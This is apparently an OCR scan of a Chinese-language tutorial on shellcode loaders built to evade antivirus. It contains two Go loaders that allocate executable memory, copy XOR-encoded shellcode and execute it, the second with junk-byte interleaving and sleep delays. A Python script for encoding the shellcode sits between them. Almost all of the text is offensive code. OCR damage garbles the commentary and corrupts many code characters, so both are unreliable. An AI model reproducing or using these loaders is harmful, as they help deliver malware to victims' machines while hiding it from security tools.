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package main

import (
"syscall”
"unsafe"
D)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000

PAGE_EXECUTE_READWRITE = @x40 // XEFAIDUAITHRS, NWATEFPIDIEEZXE,

D)

var (
kernel32 = syscall.MustlLoadDLL("kernel32.d11")
ntdl1l = syscall.MustLoadDLL("ntdl1l.d11")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc™)
Rt1CopyMemory = ntdll.MustFindProc("Rt1CopyMemory")

D)

func main(Q) {

xor_shellcode := [Jbyte{0x89, 0x3d, 0xfc, 0x91, 0x85, 0x9d, Oxb9, Ox75
, Ox75, Ox75, 0x34, Ox24, 0x34, 0x25, Ox27, Ox24, Ox23, Ox3d, 0x44, Oxa7, 0x10
, 0x3d, Oxfe, Ox27, 0x15, 0x3d, Oxfe...}

addr, _, err := VirtualAlloc.Call(@, uintptr(len(xor_shellcode)), MEM_
COMMIT IMEM_RESERVE, PAGE_EXECUTE_READWRITE)
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1t err I= n1l && err.krror() != "lhe operation completed successtull

y." {
syscall.Exit(0)

}
_, _, err = RtlCopyMemory.CallCaddr, (uintptr)(unsafe.Pointer(&xor_she

11lcode[@])), uintptr(len(xor_shellcode)))

if err != nil && err.Error() != "The operation completed successfull
y.-" {
syscall.Exit(@)
ks
syscall.SyscallCaddr, @0, 0, @, 0)
3

XEFR: RANRMNEZINE shellcode B9—ARERZE T, FTLAF( 1S F
U, & shellcode JBENZR EBEMERIER.
NENREEBFERNBRIIE, AES NI, ERNEINFRE.
BEMEINEERXMAENAMERZ, RN BB, PrUIER
5%5@9&%@%ﬁ%7§ﬁ)§§%d\ﬁ, NE B EE)JDE‘%\H‘EO

BB ARE, TN ESSINE R ERIENAERER C/C++ KT
E@, BLEERIFREBEA C/C++ LU S RII=#, BERUREEZER
go LENRAEMB A —FM R,
Se MEE shellcode SEBRIBIAR

def xor(shellcode, key):
new_shellcode = ""

key_len = len(key)

# XfshellcodefyE— L Txor RaALE

for i in range(@, len(shellcode)):

s = ord(shellcode[i])

p = ord(Ckey[i % key_len]))

s =sAp # 5p%, prlEkeyFMNFRHL—
s = chr(s)

new_shellcode += s
return new_shellcode

def random_decode(shellcode):
j=20
new_shellcode = ""
for i in range(@,len(shellcode)):
ifi%2==
new_shellcode[i] = shellcode[7]
j+=1

return new_shellcode

def add_random_ code(shellcode, key):

I
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new_sheLLcode = "~

key_len = len(key)

# B0FNEEAIBI—1FT, BINFRERTkey

for i in range(@, len(shellcode)):
#print(ord(shellcode[i]))

new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len]

#print(i % key_len)
return new_shellcode

# J5shellcodefTEN% H
def str_to_hex(shellcode):
raw = ""
for i in range(@, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",",0x")
raw = raw + s
return raw

if __name__ == '__main__":
shellcode = ""

# SIS F A EANkey

key = "ige"

print(shellcode[0])

print(len(shellcode))

# BEitidshellcodeittiTHaabiE

shellcode = xor(shellcode, key)

print(len(shellcode))

# AafEshellcode & NNEN FRF
shellcode = add_random_code(shellcode, key)

# BshellcodefTENH <
print(str_to_hex(shellcode))

N shellcode f&, B go BEMEREED shellcode, SRR EINIT,

package main

import (
"fmt"
"syscall”
"time"
"unsafe"
D)
const (
MEM_COMMIT = 0x1000
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MEM_RESERVE 0Vx2009

PAGE_EXECUTE_READWRITE = 0x40 // XEr]DIHATIES, MNARERFF DOZEZXE,

D)

var (
kernel32 = syscall.MustLoadDLL("kernel32.d11")
ntdll = syscall.MustLoadDLL("ntdl1l.d11")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc™)
Rt1CopyMemory = ntdll.MustFindProc("Rt1lCopyMemory")

D)

func main() {
mix_shellcode := [Jbyte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller [Jbyte
key := []byte("ige™)
var key_size = len(key)
var shellcode_final [Jbyte
var j =0
time.Sleep(2)
// EBRRIRARE
fmt.Print(len(mix_shellcode))
for 1 := 0; 1 < len(mix_shellcode); i++ {
if (1%2==0){
shellcode_final = append(shellcode_final,mix_shellcode
(i1
j+=1

}
time.Sleep(3)
fmt.Print(shellcode_final)
// BESRT
for i := 0; i1 < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]Akey[1 % key_s
ize])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(@, uintptr(len(ttyolller)), MEM_COMM
ITIMEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err !'= nil && err.Error() != "The operation completed successfull
y.-" {
syscall.Exit(@)
}
time.Sleep(3)
_, —, err = RtlCopyMemory.CallCaddr, (uintptr)(unsafe.Pointer(&ttyolll
er[@])), uintptr(len(ttyolller)))

if err !'= nil && err.Error() != "The operation completed successfull
y.-" {
syscall.Exit(@)
b
syscall.SyscallCaddr, 0, 0, @, 0)
1
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